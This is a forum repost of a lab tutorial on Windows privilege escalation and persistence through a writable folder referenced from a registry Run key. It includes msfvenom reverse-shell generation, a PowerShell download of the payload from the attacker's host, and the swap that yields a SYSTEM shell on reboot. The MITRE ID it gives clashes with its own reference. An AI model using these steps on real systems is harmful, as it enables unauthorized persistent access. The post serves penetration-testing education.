• We just launched and are currently in beta. Join us as we build and grow the community.

Windows Privilege Escalation: Logon Autostart Execution (Registry Run Keys)

Hackzer

DNS Security Tester
H Rep
0
0
0
Rep
0
H Vouches
0
0
0
Vouches
0
Posts
147
Likes
133
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
If an attacker finds a service that has all permission and its bind with the Registry run key then he can perform privilege escalation or persistence attacks. When a legitimate user signs in, the service link with the registry will be executed automatically and this attack is known as Logon Autostart Execution due to Registry Run Keys.

There are two techniques to perform Logon Autostart Execution :

Logon Autostart Execution: Registry Run Keys

Logon Autostart Execution: Startup Folder

Table of Content

Run and RunOnce Registry Keys

Boot | Logon Autostart Execution (Mitre Attack)

Prerequisite

Lab Setup

Privilege Escalation by Abusing Registry Run Keys

  • Enumerating Assign Permissions using WinPEAS
  • Creating Malicious Executable

Run and RunOnce Registry Keys

Run and RunOnce registry keys cause programs to run each time a user logs on. The Run registry keys will run the task every time there’s a login. The RunOnce registry keys will run the tasks once and then delete that key. Then there is Run and RunOnce; the only difference is that RunOnce will automatically delete the entry upon successful execution.

The registry run keys perform the same action, but can be located in four different locations:

Code:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Boot | Logon Autostart Execution: Registry Run Keys

Injecting a malicious program within a startup folder will also cause that program to execute when a user logs in, thus it may help an attacker to perform persistence or privilege escalation Attacks from misconfigured startup folder locations.

This technique is the most driven method for persistence used by well know APTs such as APT18, APT29, APT37, etc.

Mitre ID: T1574.001

Tactics: Privilege Escalation & Persistence

Platforms: Windows

Prerequisite

Target Machine: Windows 10

Attacker Machine: Kali Linux

Tools: Winpeas.exe

Condition: Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.

Objective: Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Misconfigured Startup folder.

Lab Setup

Note: Given steups will create a loophole through misconfigured startup folder, thus avoiding such configuration in a production environment.

Step1: create a new directory inside Program Files

Code:
mkdir C:\Program Files\Ignite Services

AVvXsEh52PNAiCrfkGihzUYiLpop1oIxoQY3xvF74-zUQJfh1lhd40VN9GSl0ZnLvm4GioAG968GbloxQRLlxEj0exKi7NZepeBts1Lf4kD4QT5BHORydbOc9UktPG98IHnt7x0NeQ2LSVSNcyHFsNvYLok8hbmHt2A7jioZHMHxKVOThDywnfGpfFng3k_Lag=s16000


Step 2: Add an application or service or program to this directory.

AVvXsEhZ_Kiro0VvptmmtwZcQhWB6GqCTu5NdRRy8RjeOgdVdgQseeidBfgZYV-HGJwQZnweBIE56nr1KgIULefWyINdZ0-z1OV4g0CDrs9o21QAfbFGLo9Cm4qAOqyImzJTMSKgp_C5Vg17AAISqGlMJ7fT3N9_Go7t1z0pBLupUxtkffm9JzO8d4gYxWuqNw=s16000


Step3: Modify the permissions for the present directory by allowing Full Control for authenticated users.

AVvXsEiSbl9Fm5YpX-wCdBZ19owPfALIPpj338KaKCHjTY92GZBPPDTa0xh-F4cz6ZvxFhdIVap1NpVOq5QFN10HYVdRRzqD6GlCiAGJg_tdp-WrGKbrgc-i_-IC24AaTH9aP9bkn5adhxIMr4EtZ6D377eKC2upTbubRdwBvyGKi1lPsfu_uQZgGU484vhtMw=s16000


Step 4: Open Run command prompt, type regedit.msc to edit registry key. Navigate to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run and create new String Value “Services”

AVvXsEjf2dJm4EXIstaDfPXg2Kntej7sqsvLhtLd9pE5uTmmXijTg0niW1fh16LBd77EeV39QJG2lt3gWz4pruFTJcZ9eXcAPEyH6S60R_gZ-2Va6eozRqkYr_3h7VH9iTLmzeHuVEA1rtvvu6n1Nq0UJDlgfLdSE8WKJyBhJFrA4MkrzpakOuol-hdngcDU7g=s16000


Step 5: Give the path for the service you have created inside /program files/Ignite (Path for your service).

AVvXsEgFbA1vWXdmKqb1rQWj2vqt0tHyDAxNjB4ZBWxmaOiB-uHFu4DAmGfzX2mAHsrME6bzmG73ZmXRLlkD60_uoWotM83zqFuPgXAkAlgwUK4Of1QNdE5AW37aqEUZnd4b3xOu4Nl6yl5T523qcSwwC3lh9_VW8yuGtluUBJL5rWt9E2x19ZYeVcvwNq5jnQ=s16000


Privilege Escalation by Abusing Registry Run Keys

Enumerating Assign Permissions with Winpeas

Attackers can exploit these configuration locations to launch malware, such as RAT, in order to sustain persistence during system reboots.

Following an initial foothold, we can identify permissions using the following command:

Code:
winPEASx64.exe quiet applicationinfo

AVvXsEichoJ17_Gse4x4OAIeEpf6SO8QuAq6AzRGGeZ1r9NxPEsZsg7VoBH4cYuwQ8s2aX5ULUHhjvDhgMkGc7-1w771YKED3AjZK7KuVe-ZwIdAw8UfPVBOi-ehpOv_DWmt93PgHy4QGn4OwTASyCuzGN5fZRJksN2k2haoPFbmTZlaYuMJOOiyQQoyGgVuEQ=s16000


Here we enumerated ALL Permissions are assigned for Authenticated Users against “Ignite Services”

AVvXsEh4Vn-ehjIApoz7yjdt0W5dpvVueVxoQAtmyerScrOW3ZqVCdMRfENQnrwZwSb4PeNxSHNeeHEyKpCIfzf7-VyowXiJ2qUM9jp8cWw6RowQ7H09d9FYzioUsmrZflAg-7eyqnh6wPU-GBGerTpaIzhg6ifBt_VyPBwvqH52QxB0EY3JCFrqX5DnpAfe9g=s16000


Creating Malicious Executable

As we know the ALL users own read-write permission for the “Ignite Services” folder thus we can inject RAT to perform persistence or privilege escalation. Let’s create an executable program with the help of msfvenom.

Code:
msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exe
python –m SimpleHTTPServer 80

AVvXsEjSIOj9GKjsS5ws1BmDQwKqxixCGGI2B7c4lYcaOfivtTEX7_zACwJna2p12pZ6Y83CDzKDyX9JK-ioB9JjuQJIGka7erDWcC0MQv3jq6IuOesYZRSB_fMoYvSy9muiFs8wssrmKfwc5ErrzcwQ7nQEiqf6MbVX288SiHosLEZSuIrk962jMBmrLeSS4w=s16000


Before you replace original file.exe with malicious file to exe, rename original file.exe as file.bak

AVvXsEiFDaXj-9QiZ_FtxwVi02Yaz_1cvKM0gjq1MKXTM6e6PflY9XSH1V8YgOnP4VzahEjgzP2GSK8IY0hjso6P9IK0p4rDBiyfMpy12bdXekoxwHrG62krBSDoon2Qc5x02ulBWYlCjehmpXc-3ycop0SSIIrimlJEO5G413Kx6IvENgdovNq3609M1mYi0g=s16000


Executing Malicious Executable

Start a netcat listener in a new terminal and transfer the file.exe with the help of the following command

Code:
powershell wget 192.168.1.3/shell.exe -o shell.exe
dir

AVvXsEjWtP6zlvWAhDoE-ArjdbRV1co1R-_VCUGKYuxJQnaS6tn9BpWJ7yrtp0AZkFqkuVkPNUAx0QGxHdntswkST8GhJl5YAdn2MQN0erHlJClROjHBILe2s01reXqz8vyXDkPKlHooyIvj3-6mL2vFdezdtHXsQaTS_P_IWQML6QgPY51xGKDH0pBFL04zSQ=s16000


As we know this attack is named Boot Logon Autostart Execution which means the file.exe file operates when the system will reboot.

AVvXsEir2STOGLqaMigvhfX95UGb-rS_et8FiDIPJ38y8l0lyhUAe3iWDHUlbwLCZ7J9uIcghvEl0YZ73VK9SJTVn3mE8JdjFaZ4XNqPZk1MEsZrZRRjLX4oA1Wk2t7vY71wURHkPfhct5tRDETivh7rhKHb9akf72w4ohCoIUg0X6hclnJqxj3qyKlu_-cMsA=s16000


The attacker will get a reverse connection in the new netcat session as NT Authority \System

AVvXsEgovjOSQQOnjIVFEbc0bbDSrym1t6yFl93K0OmMbHr8PiGKAwVN92RNij3gset-MhIegDc4xDAm1pvfRE7LRJ_ecnE08jFkpTwf8xLUHmVR91ABgGlPEttczfzoHqPLKkbfBJCeAsum1_PWnfg-X2iXMlzFKiNtUy5NAXcplqYJea19Sqfc2qb_7vaPzA=s16000


Reference:

https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys

https://attack.mitre.org/techniques/T1547/001/

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
 

437,153

314,794

314,803

Top